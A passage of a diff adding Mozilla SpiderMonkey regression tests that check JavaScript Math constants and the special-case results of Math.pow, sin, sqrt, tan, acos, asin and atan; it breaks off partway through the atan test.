+for (var word of "that that is is that that is not is not is that not it".split(' ')) {
+ sym = Symbol.for(word);
+ m.set(sym, (m.get(sym) || 0) + 1);
+}
+assertDeepEq([...m], [
+ [Symbol.for("that"), 5],
+ [Symbol.for("is"), 5],
+ [Symbol.for("not"), 3],
+ [Symbol.for("it"), 1]
+]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Math/15.8.1.js b/js/src/tests/non262/Math/15.8.1.js
new file mode 100644
index 0000000000..269b602e5d
--- /dev/null
+++ b/js/src/tests/non262/Math/15.8.1.js
@@ -0,0 +1,97 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.1.js
+ ECMA Section: 15.8.1.js Value Properties of the Math Object
+ 15.8.1.1 E
+ 15.8.1.2 LN10
+ 15.8.1.3 LN2
+ 15.8.1.4 LOG2E
+ 15.8.1.5 LOG10E
+ 15.8.1.6 PI
+ 15.8.1.7 SQRT1_2
+ 15.8.1.8 SQRT2
+ Description: verify the values of some math constants
+ Author: christine@netscape.com
+ Date: 7 july 1997
+
+*/
+var SECTION = "15.8.1"
+ var TITLE = "Value Properties of the Math Object";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+new TestCase( "Math.E",
+ 2.7182818284590452354,
+ Math.E );
+
+new TestCase( "typeof Math.E",
+ "number",
+ typeof Math.E );
+
+new TestCase( "Math.LN10",
+ 2.302585092994046,
+ Math.LN10 );
+
+new TestCase( "typeof Math.LN10",
+ "number",
+ typeof Math.LN10 );
+
+new TestCase( "Math.LN2",
+ 0.6931471805599453,
+ Math.LN2 );
+
+new TestCase( "typeof Math.LN2",
+ "number",
+ typeof Math.LN2 );
+
+new TestCase( "Math.LOG2E",
+ 1.4426950408889634,
+ Math.LOG2E );
+
+new TestCase( "typeof Math.LOG2E",
+ "number",
+ typeof Math.LOG2E );
+
+new TestCase( "Math.LOG10E",
+ 0.4342944819032518,
+ Math.LOG10E);
+
+new TestCase( "typeof Math.LOG10E",
+ "number",
+ typeof Math.LOG10E);
+
+new TestCase( "Math.PI",
+ 3.14159265358979323846,
+ Math.PI );
+
+new TestCase( "typeof Math.PI",
+ "number",
+ typeof Math.PI );
+
+new TestCase( "Math.SQRT1_2",
+ 0.7071067811865476,
+ Math.SQRT1_2);
+
+new TestCase( "typeof Math.SQRT1_2",
+ "number",
+ typeof Math.SQRT1_2);
+
+new TestCase( "Math.SQRT2",
+ 1.4142135623730951,
+ Math.SQRT2 );
+
+new TestCase( "typeof Math.SQRT2",
+ "number",
+ typeof Math.SQRT2 );
+
+new TestCase( "var MATHPROPS='';for( p in Math ){ MATHPROPS +=p; };MATHPROPS",
+ "",
+ eval("var MATHPROPS='';for( p in Math ){ MATHPROPS +=p; };MATHPROPS") );
+
+test();
diff --git a/js/src/tests/non262/Math/15.8.2.13.js b/js/src/tests/non262/Math/15.8.2.13.js
new file mode 100644
index 0000000000..10eeca88ab
--- /dev/null
+++ b/js/src/tests/non262/Math/15.8.2.13.js
@@ -0,0 +1,350 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.13.js
+ ECMA Section: 15.8.2.13 Math.pow(x, y)
+ Description: return an approximation to the result of x
+ to the power of y. there are many special cases;
+ refer to the spec.
+ Author: christine@netscape.com
+ Date: 9 july 1997
+*/
+
+var SECTION = "15.8.2.13";
+var TITLE = "Math.pow(x, y)";
+var BUGNUMBER="77141";
+
+printBugNumber(BUGNUMBER);
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase(
+ "Math.pow.length",
+ 2,
+ Math.pow.length );
+
+new TestCase(
+ "Math.pow()",
+ Number.NaN,
+ Math.pow() );
+
+new TestCase(
+ "Math.pow(null, null)",
+ 1,
+ Math.pow(null,null) );
+
+new TestCase(
+ "Math.pow(void 0, void 0)",
+ Number.NaN,
+ Math.pow(void 0, void 0));
+
+new TestCase(
+ "Math.pow(true, false)",
+ 1,
+ Math.pow(true, false) );
+
+new TestCase(
+ "Math.pow(false,true)",
+ 0,
+ Math.pow(false,true) );
+
+new TestCase(
+ "Math.pow('2','32')",
+ 4294967296,
+ Math.pow('2','32') );
+
+new TestCase(
+ "Math.pow(1,NaN)",
+ Number.NaN,
+ Math.pow(1,Number.NaN) );
+
+new TestCase(
+ "Math.pow(0,NaN)",
+ Number.NaN,
+ Math.pow(0,Number.NaN) );
+
+new TestCase(
+ "Math.pow(NaN,0)",
+ 1,
+ Math.pow(Number.NaN,0) );
+
+new TestCase(
+ "Math.pow(NaN,-0)",
+ 1,
+ Math.pow(Number.NaN,-0) );
+
+new TestCase(
+ "Math.pow(NaN,1)",
+ Number.NaN,
+ Math.pow(Number.NaN, 1) );
+
+new TestCase(
+ "Math.pow(NaN,.5)",
+ Number.NaN,
+ Math.pow(Number.NaN, .5) );
+
+new TestCase(
+ "Math.pow(1.00000001, Infinity)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(1.00000001, Number.POSITIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(1.00000001, -Infinity)",
+ 0,
+ Math.pow(1.00000001, Number.NEGATIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(-1.00000001, Infinity)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(-1.00000001,Number.POSITIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(-1.00000001, -Infinity)",
+ 0,
+ Math.pow(-1.00000001,Number.NEGATIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(1, Infinity)",
+ Number.NaN,
+ Math.pow(1, Number.POSITIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(1, -Infinity)",
+ Number.NaN,
+ Math.pow(1, Number.NEGATIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(-1, Infinity)",
+ Number.NaN,
+ Math.pow(-1, Number.POSITIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(-1, -Infinity)",
+ Number.NaN,
+ Math.pow(-1, Number.NEGATIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(.0000000009, Infinity)",
+ 0,
+ Math.pow(.0000000009, Number.POSITIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(-.0000000009, Infinity)",
+ 0,
+ Math.pow(-.0000000009, Number.POSITIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(.0000000009, -Infinity)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(-.0000000009, Number.NEGATIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(Infinity, .00000000001)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(Number.POSITIVE_INFINITY,.00000000001) );
+
+new TestCase(
+ "Math.pow(Infinity, 1)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(Number.POSITIVE_INFINITY, 1) );
+
+new TestCase(
+ "Math.pow(Infinity, -.00000000001)",
+ 0,
+ Math.pow(Number.POSITIVE_INFINITY, -.00000000001) );
+
+new TestCase(
+ "Math.pow(Infinity, -1)",
+ 0,
+ Math.pow(Number.POSITIVE_INFINITY, -1) );
+
+new TestCase(
+ "Math.pow(-Infinity, 1)",
+ Number.NEGATIVE_INFINITY,
+ Math.pow(Number.NEGATIVE_INFINITY, 1) );
+
+new TestCase(
+ "Math.pow(-Infinity, 333)",
+ Number.NEGATIVE_INFINITY,
+ Math.pow(Number.NEGATIVE_INFINITY, 333) );
+
+new TestCase(
+ "Math.pow(Infinity, 2)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(Number.POSITIVE_INFINITY, 2) );
+
+new TestCase(
+ "Math.pow(-Infinity, 666)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(Number.NEGATIVE_INFINITY, 666) );
+
+new TestCase(
+ "Math.pow(-Infinity, 0.5)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(Number.NEGATIVE_INFINITY, 0.5) );
+
+new TestCase(
+ "Math.pow(-Infinity, Infinity)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(Number.NEGATIVE_INFINITY, Number.POSITIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(-Infinity, -1)",
+ -0,
+ Math.pow(Number.NEGATIVE_INFINITY, -1) );
+
+new TestCase(
+ "Infinity/Math.pow(-Infinity, -1)",
+ -Infinity,
+ Infinity/Math.pow(Number.NEGATIVE_INFINITY, -1) );
+
+new TestCase(
+ "Math.pow(-Infinity, -3)",
+ -0,
+ Math.pow(Number.NEGATIVE_INFINITY, -3) );
+
+new TestCase(
+ "Math.pow(-Infinity, -2)",
+ 0,
+ Math.pow(Number.NEGATIVE_INFINITY, -2) );
+
+new TestCase(
+ "Math.pow(-Infinity, -0.5)",
+ 0,
+ Math.pow(Number.NEGATIVE_INFINITY,-0.5) );
+
+new TestCase(
+ "Math.pow(-Infinity, -Infinity)",
+ 0,
+ Math.pow(Number.NEGATIVE_INFINITY, Number.NEGATIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(0, 1)",
+ 0,
+ Math.pow(0,1) );
+
+new TestCase(
+ "Math.pow(0, 0)",
+ 1,
+ Math.pow(0,0) );
+
+new TestCase(
+ "Math.pow(1, 0)",
+ 1,
+ Math.pow(1,0) );
+
+new TestCase(
+ "Math.pow(-1, 0)",
+ 1,
+ Math.pow(-1,0) );
+
+new TestCase(
+ "Math.pow(0, 0.5)",
+ 0,
+ Math.pow(0,0.5) );
+
+new TestCase(
+ "Math.pow(0, 1000)",
+ 0,
+ Math.pow(0,1000) );
+
+new TestCase(
+ "Math.pow(0, Infinity)",
+ 0,
+ Math.pow(0, Number.POSITIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(0, -1)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(0, -1) );
+
+new TestCase(
+ "Math.pow(0, -0.5)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(0, -0.5) );
+
+new TestCase(
+ "Math.pow(0, -1000)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(0, -1000) );
+
+new TestCase(
+ "Math.pow(0, -Infinity)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(0, Number.NEGATIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(-0, 1)",
+ -0,
+ Math.pow(-0, 1) );
+
+new TestCase(
+ "Math.pow(-0, 3)",
+ -0,
+ Math.pow(-0,3) );
+
+new TestCase(
+ "Infinity/Math.pow(-0, 1)",
+ -Infinity,
+ Infinity/Math.pow(-0, 1) );
+
+new TestCase(
+ "Infinity/Math.pow(-0, 3)",
+ -Infinity,
+ Infinity/Math.pow(-0,3) );
+
+new TestCase(
+ "Math.pow(-0, 2)",
+ 0,
+ Math.pow(-0,2) );
+
+new TestCase(
+ "Math.pow(-0, Infinity)",
+ 0,
+ Math.pow(-0, Number.POSITIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(-0, -1)",
+ Number.NEGATIVE_INFINITY,
+ Math.pow(-0, -1) );
+
+new TestCase(
+ "Math.pow(-0, -10001)",
+ Number.NEGATIVE_INFINITY,
+ Math.pow(-0, -10001) );
+
+new TestCase(
+ "Math.pow(-0, -2)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(-0, -2) );
+
+new TestCase(
+ "Math.pow(-0, 0.5)",
+ 0,
+ Math.pow(-0, 0.5) );
+
+new TestCase(
+ "Math.pow(-0, Infinity)",
+ 0,
+ Math.pow(-0, Number.POSITIVE_INFINITY) );
+
+new TestCase(
+ "Math.pow(-1, 0.5)",
+ Number.NaN,
+ Math.pow(-1, 0.5) );
+
+new TestCase(
+ "Math.pow(-1, NaN)",
+ Number.NaN,
+ Math.pow(-1, Number.NaN) );
+
+new TestCase(
+ "Math.pow(-1, -0.5)",
+ Number.NaN,
+ Math.pow(-1, -0.5) );
+
+test();
diff --git a/js/src/tests/non262/Math/15.8.2.16.js b/js/src/tests/non262/Math/15.8.2.16.js
new file mode 100644
index 0000000000..1ad66d4e30
--- /dev/null
+++ b/js/src/tests/non262/Math/15.8.2.16.js
@@ -0,0 +1,96 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.16.js
+ ECMA Section: 15.8.2.16 sin( x )
+ Description: return an approximation to the sine of the
+ argument. argument is expressed in radians
+ Author: christine@netscape.com
+ Date: 7 july 1997
+
+*/
+var SECTION = "15.8.2.16";
+var TITLE = "Math.sin(x)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase(
+ "Math.sin.length",
+ 1,
+ Math.sin.length );
+
+new TestCase(
+ "Math.sin()",
+ Number.NaN,
+ Math.sin() );
+
+new TestCase(
+ "Math.sin(null)",
+ 0,
+ Math.sin(null) );
+
+new TestCase(
+ "Math.sin(void 0)",
+ Number.NaN,
+ Math.sin(void 0) );
+
+new TestCase(
+ "Math.sin(false)",
+ 0,
+ Math.sin(false) );
+
+new TestCase(
+ "Math.sin('2.356194490192')",
+ 0.7071067811865,
+ Math.sin('2.356194490192') );
+
+new TestCase(
+ "Math.sin(NaN)",
+ Number.NaN,
+ Math.sin(Number.NaN) );
+
+new TestCase(
+ "Math.sin(0)",
+ 0,
+ Math.sin(0) );
+
+new TestCase(
+ "Math.sin(-0)",
+ -0,
+ Math.sin(-0));
+
+new TestCase(
+ "Math.sin(Infinity)",
+ Number.NaN,
+ Math.sin(Number.POSITIVE_INFINITY));
+
+new TestCase(
+ "Math.sin(-Infinity)",
+ Number.NaN,
+ Math.sin(Number.NEGATIVE_INFINITY));
+
+new TestCase(
+ "Math.sin(0.7853981633974)",
+ 0.7071067811865,
+ Math.sin(0.7853981633974));
+
+new TestCase(
+ "Math.sin(1.570796326795)",
+ 1,
+ Math.sin(1.570796326795));
+
+new TestCase(
+ "Math.sin(2.356194490192)",
+ 0.7071067811865,
+ Math.sin(2.356194490192));
+
+new TestCase(
+ "Math.sin(3.14159265359)",
+ 0,
+ Math.sin(3.14159265359));
+
+test();
diff --git a/js/src/tests/non262/Math/15.8.2.17.js b/js/src/tests/non262/Math/15.8.2.17.js
new file mode 100644
index 0000000000..18b4a0a281
--- /dev/null
+++ b/js/src/tests/non262/Math/15.8.2.17.js
@@ -0,0 +1,181 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.17.js
+ ECMA Section: 15.8.2.17 Math.sqrt(x)
+ Description: return an approximation to the squareroot of the argument.
+ special cases:
+ - if x is NaN return NaN
+ - if x < 0 return NaN
+ - if x == 0 return 0
+ - if x == -0 return -0
+ - if x == Infinity return Infinity
+ Author: christine@netscape.com
+ Date: 7 july 1997
+*/
+
+var SECTION = "15.8.2.17";
+var TITLE = "Math.sqrt(x)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase(
+ "Math.sqrt.length",
+ 1,
+ Math.sqrt.length );
+
+new TestCase(
+ "Math.sqrt()",
+ Number.NaN,
+ Math.sqrt() );
+
+new TestCase(
+ "Math.sqrt(void 0)",
+ Number.NaN,
+ Math.sqrt(void 0) );
+
+new TestCase(
+ "Math.sqrt(null)",
+ 0,
+ Math.sqrt(null) );
+
+new TestCase(
+ "Math.sqrt(true)",
+ 1,
+ Math.sqrt(1) );
+
+new TestCase(
+ "Math.sqrt(false)",
+ 0,
+ Math.sqrt(false) );
+
+new TestCase(
+ "Math.sqrt('225')",
+ 15,
+ Math.sqrt('225') );
+
+new TestCase(
+ "Math.sqrt(NaN)",
+ Number.NaN,
+ Math.sqrt(Number.NaN) );
+
+new TestCase(
+ "Math.sqrt(-Infinity)",
+ Number.NaN,
+ Math.sqrt(Number.NEGATIVE_INFINITY));
+
+new TestCase(
+ "Math.sqrt(-1)",
+ Number.NaN,
+ Math.sqrt(-1));
+
+new TestCase(
+ "Math.sqrt(-0.5)",
+ Number.NaN,
+ Math.sqrt(-0.5));
+
+new TestCase(
+ "Math.sqrt(0)",
+ 0,
+ Math.sqrt(0));
+
+new TestCase(
+ "Math.sqrt(-0)",
+ -0,
+ Math.sqrt(-0));
+
+new TestCase(
+ "Infinity/Math.sqrt(-0)",
+ -Infinity,
+ Infinity/Math.sqrt(-0) );
+
+new TestCase(
+ "Math.sqrt(Infinity)",
+ Number.POSITIVE_INFINITY,
+ Math.sqrt(Number.POSITIVE_INFINITY));
+
+new TestCase(
+ "Math.sqrt(1)",
+ 1,
+ Math.sqrt(1));
+
+new TestCase(
+ "Math.sqrt(2)",
+ Math.SQRT2,
+ Math.sqrt(2));
+
+new TestCase(
+ "Math.sqrt(0.5)",
+ Math.SQRT1_2,
+ Math.sqrt(0.5));
+
+new TestCase(
+ "Math.sqrt(4)",
+ 2,
+ Math.sqrt(4));
+
+new TestCase(
+ "Math.sqrt(9)",
+ 3,
+ Math.sqrt(9));
+
+new TestCase(
+ "Math.sqrt(16)",
+ 4,
+ Math.sqrt(16));
+
+new TestCase(
+ "Math.sqrt(25)",
+ 5,
+ Math.sqrt(25));
+
+new TestCase(
+ "Math.sqrt(36)",
+ 6,
+ Math.sqrt(36));
+
+new TestCase(
+ "Math.sqrt(49)",
+ 7,
+ Math.sqrt(49));
+
+new TestCase(
+ "Math.sqrt(64)",
+ 8,
+ Math.sqrt(64));
+
+new TestCase(
+ "Math.sqrt(256)",
+ 16,
+ Math.sqrt(256));
+
+new TestCase(
+ "Math.sqrt(10000)",
+ 100,
+ Math.sqrt(10000));
+
+new TestCase(
+ "Math.sqrt(65536)",
+ 256,
+ Math.sqrt(65536));
+
+new TestCase(
+ "Math.sqrt(0.09)",
+ 0.3,
+ Math.sqrt(0.09));
+
+new TestCase(
+ "Math.sqrt(0.01)",
+ 0.1,
+ Math.sqrt(0.01));
+
+new TestCase(
+ "Math.sqrt(0.00000001)",
+ 0.0001,
+ Math.sqrt(0.00000001));
+
+test();
diff --git a/js/src/tests/non262/Math/15.8.2.18.js b/js/src/tests/non262/Math/15.8.2.18.js
new file mode 100644
index 0000000000..574ec18b99
--- /dev/null
+++ b/js/src/tests/non262/Math/15.8.2.18.js
@@ -0,0 +1,111 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.18.js
+ ECMA Section: 15.8.2.18 tan( x )
+ Description: return an approximation to the tan of the
+ argument. argument is expressed in radians
+ special cases:
+ - if x is NaN result is NaN
+ - if x is 0 result is 0
+ - if x is -0 result is -0
+ - if x is Infinity or -Infinity result is NaN
+ Author: christine@netscape.com
+ Date: 7 july 1997
+*/
+
+var SECTION = "15.8.2.18";
+var TITLE = "Math.tan(x)";
+var EXCLUDE = "true";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( "Math.tan.length",
+ 1,
+ Math.tan.length );
+
+new TestCase( "Math.tan()",
+ Number.NaN,
+ Math.tan() );
+
+new TestCase( "Math.tan(void 0)",
+ Number.NaN,
+ Math.tan(void 0));
+
+new TestCase( "Math.tan(null)",
+ 0,
+ Math.tan(null) );
+
+new TestCase( "Math.tan(false)",
+ 0,
+ Math.tan(false) );
+
+new TestCase( "Math.tan(NaN)",
+ Number.NaN,
+ Math.tan(Number.NaN) );
+
+new TestCase( "Math.tan(0)",
+ 0,
+ Math.tan(0));
+
+new TestCase( "Math.tan(-0)",
+ -0,
+ Math.tan(-0));
+
+new TestCase( "Math.tan(Infinity)",
+ Number.NaN,
+ Math.tan(Number.POSITIVE_INFINITY));
+
+new TestCase( "Math.tan(-Infinity)",
+ Number.NaN,
+ Math.tan(Number.NEGATIVE_INFINITY));
+
+new TestCase( "Math.tan(Math.PI/4)",
+ 1,
+ Math.tan(Math.PI/4));
+
+new TestCase( "Math.tan(3*Math.PI/4)",
+ -1,
+ Math.tan(3*Math.PI/4));
+
+new TestCase( "Math.tan(Math.PI)",
+ -0,
+ Math.tan(Math.PI));
+
+new TestCase( "Math.tan(5*Math.PI/4)",
+ 1,
+ Math.tan(5*Math.PI/4));
+
+new TestCase( "Math.tan(7*Math.PI/4)",
+ -1,
+ Math.tan(7*Math.PI/4));
+
+new TestCase( "Infinity/Math.tan(-0)",
+ -Infinity,
+ Infinity/Math.tan(-0) );
+
+/*
+ Arctan (x) ~ PI/2 - 1/x for large x. For x = 1.6x10^16, 1/x is about the last binary digit of double precision PI/2.
+ That is to say, perturbing PI/2 by this much is about the smallest rounding error possible.
+
+ This suggests that the answer Christine is getting and a real Infinity are "adjacent" results from the tangent function. I
+ suspect that tan (PI/2 + one ulp) is a negative result about the same size as tan (PI/2) and that this pair are the closest
+ results to infinity that the algorithm can deliver.
+
+ In any case, my call is that the answer we're seeing is "right". I suggest the test pass on any result this size or larger.
+ = C =
+*/
+
+new TestCase( "Math.tan(3*Math.PI/2) >= 5443000000000000",
+ true,
+ Math.tan(3*Math.PI/2) >= 5443000000000000 );
+
+new TestCase( "Math.tan(Math.PI/2) >= 5443000000000000",
+ true,
+ Math.tan(Math.PI/2) >= 5443000000000000 );
+
+test();
diff --git a/js/src/tests/non262/Math/15.8.2.2.js b/js/src/tests/non262/Math/15.8.2.2.js
new file mode 100644
index 0000000000..fef32b9e41
--- /dev/null
+++ b/js/src/tests/non262/Math/15.8.2.2.js
@@ -0,0 +1,120 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.2.js
+ ECMA Section: 15.8.2.2 acos( x )
+ Description: return an approximation to the arc cosine of the
+ argument. the result is expressed in radians and
+ range is from +0 to +PI. special cases:
+ - if x is NaN, return NaN
+ - if x > 1, the result is NaN
+ - if x < -1, the result is NaN
+ - if x == 1, the result is +0
+ Author: christine@netscape.com
+ Date: 7 july 1997
+*/
+var SECTION = "15.8.2.2";
+var TITLE = "Math.acos()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase(
+ "Math.acos.length",
+ 1,
+ Math.acos.length );
+
+new TestCase(
+ "Math.acos(void 0)",
+ Number.NaN,
+ Math.acos(void 0) );
+
+new TestCase(
+ "Math.acos()",
+ Number.NaN,
+ Math.acos() );
+
+new TestCase(
+ "Math.acos(null)",
+ Math.PI/2,
+ Math.acos(null) );
+
+new TestCase(
+ "Math.acos(NaN)",
+ Number.NaN,
+ Math.acos(Number.NaN) );
+
+new TestCase(
+ "Math.acos(a string)",
+ Number.NaN,
+ Math.acos("a string") );
+
+new TestCase(
+ "Math.acos('0')",
+ Math.PI/2,
+ Math.acos('0') );
+
+new TestCase(
+ "Math.acos('1')",
+ 0,
+ Math.acos('1') );
+
+new TestCase(
+ "Math.acos('-1')",
+ Math.PI,
+ Math.acos('-1') );
+
+new TestCase(
+ "Math.acos(1.00000001)",
+ Number.NaN,
+ Math.acos(1.00000001) );
+
+new TestCase(
+ "Math.acos(11.00000001)",
+ Number.NaN,
+ Math.acos(-1.00000001) );
+
+new TestCase(
+ "Math.acos(1)",
+ 0,
+ Math.acos(1) );
+
+new TestCase(
+ "Math.acos(-1)",
+ Math.PI,
+ Math.acos(-1) );
+
+new TestCase(
+ "Math.acos(0)",
+ Math.PI/2,
+ Math.acos(0) );
+
+new TestCase(
+ "Math.acos(-0)",
+ Math.PI/2,
+ Math.acos(-0) );
+
+new TestCase(
+ "Math.acos(Math.SQRT1_2)",
+ Math.PI/4,
+ Math.acos(Math.SQRT1_2));
+
+new TestCase(
+ "Math.acos(-Math.SQRT1_2)",
+ Math.PI/4*3,
+ Math.acos(-Math.SQRT1_2));
+
+new TestCase(
+ "Math.acos(0.9999619230642)",
+ Math.PI/360,
+ Math.acos(0.9999619230642));
+
+new TestCase(
+ "Math.acos(-3.0)",
+ Number.NaN,
+ Math.acos(-3.0));
+
+test();
diff --git a/js/src/tests/non262/Math/15.8.2.3.js b/js/src/tests/non262/Math/15.8.2.3.js
new file mode 100644
index 0000000000..750f22bb60
--- /dev/null
+++ b/js/src/tests/non262/Math/15.8.2.3.js
@@ -0,0 +1,122 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.3.js
+ ECMA Section: 15.8.2.3 asin( x )
+ Description: return an approximation to the arc sine of the
+ argument. the result is expressed in radians and
+ range is from -PI/2 to +PI/2. special cases:
+ - if x is NaN, the result is NaN
+ - if x > 1, the result is NaN
+ - if x < -1, the result is NaN
+ - if x == +0, the result is +0
+ - if x == -0, the result is -0
+ Author: christine@netscape.com
+ Date: 7 july 1997
+
+*/
+var SECTION = "15.8.2.3";
+var TITLE = "Math.asin()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase(
+ "Math.asin()",
+ Number.NaN,
+ Math.asin() );
+
+new TestCase(
+ "Math.asin(void 0)",
+ Number.NaN,
+ Math.asin(void 0) );
+
+new TestCase(
+ "Math.asin(null)",
+ 0,
+ Math.asin(null) );
+
+new TestCase(
+ "Math.asin(NaN)",
+ Number.NaN,
+ Math.asin(Number.NaN) );
+
+new TestCase(
+ "Math.asin('string')",
+ Number.NaN,
+ Math.asin("string") );
+
+new TestCase(
+ "Math.asin('0')",
+ 0,
+ Math.asin("0") );
+
+new TestCase(
+ "Math.asin('1')",
+ Math.PI/2,
+ Math.asin("1") );
+
+new TestCase(
+ "Math.asin('-1')",
+ -Math.PI/2,
+ Math.asin("-1") );
+
+new TestCase(
+ "Math.asin(Math.SQRT1_2+'')",
+ Math.PI/4,
+ Math.asin(Math.SQRT1_2+'') );
+
+new TestCase(
+ "Math.asin(-Math.SQRT1_2+'')",
+ -Math.PI/4,
+ Math.asin(-Math.SQRT1_2+'') );
+
+new TestCase(
+ "Math.asin(1.000001)",
+ Number.NaN,
+ Math.asin(1.000001) );
+
+new TestCase(
+ "Math.asin(-1.000001)",
+ Number.NaN,
+ Math.asin(-1.000001) );
+
+new TestCase(
+ "Math.asin(0)",
+ 0,
+ Math.asin(0) );
+
+new TestCase(
+ "Math.asin(-0)",
+ -0,
+ Math.asin(-0) );
+
+new TestCase(
+ "Infinity/Math.asin(-0)",
+ -Infinity,
+ Infinity/Math.asin(-0) );
+
+new TestCase(
+ "Math.asin(1)",
+ Math.PI/2,
+ Math.asin(1) );
+
+new TestCase(
+ "Math.asin(-1)",
+ -Math.PI/2,
+ Math.asin(-1) );
+
+new TestCase(
+ "Math.asin(Math.SQRT1_2))",
+ Math.PI/4,
+ Math.asin(Math.SQRT1_2) );
+
+new TestCase(
+ "Math.asin(-Math.SQRT1_2))",
+ -Math.PI/4,
+ Math.asin(-Math.SQRT1_2));
+
+test();
diff --git a/js/src/tests/non262/Math/15.8.2.4.js b/js/src/tests/non262/Math/15.8.2.4.js
new file mode 100644
index 0000000000..ee957aa93e
--- /dev/null
+++ b/js/src/tests/non262/Math/15.8.2.4.js
@@ -0,0 +1,121 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.4.js
+ ECMA Section: 15.8.2.4 atan( x )
+ Description: return an approximation to the arc tangent of the
+ argument. the result is expressed in radians and
+ range is from -PI/2 to +PI/2. special cases:
+ - if x is NaN, the result is NaN
+ - if x == +0, the result is +0
+ - if x == -0, the result is -0
+ - if x == +Infinity, the result is approximately +PI/2
+ - if x == -Infinity, the result is approximately -PI/2
+ Author: christine@netscape.com
+ Date: 7 july 1997
+
+*/
+
+var SECTION = "15.8.2.4";
+var TITLE = "Math.atan()";
+var BUGNUMBER="77391";
+
+printBugNumber(BUGNUMBER);
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase(
+ "Math.atan.length",
+ 1,
+ Math.atan.length );
+
+new TestCase(
+ "Math.atan()",
+ Number.NaN,
+ Math.atan() );
+
+new TestCase(
+ "Math.atan(void 0)",
+ Number.NaN,
+ Math.atan(void 0) );
+
+new TestCase(
+ "Math.atan(null)",
+ 0,
+ Math.atan(null) );
+
+new TestCase(
+ "Math.atan(NaN)",
+ Number.NaN,
+ Math.atan(Number.NaN) );
+
+new TestCase(
+ "Math.atan('a string')",
+ Number.NaN,
+ Math.atan("a string") );
+
+new TestCase(
+ "Math.atan('0')",
+ 0,
+ Math.atan('0') );
+
+new TestCase(
+ "Math.atan('1')",
+ Math.PI/4,
+ Math.atan('1') );
+
+new TestCase(
+ "Math.atan('-1')",
+ -Math.PI/4,
+ Math.atan('-1') );
+
+new TestCase(
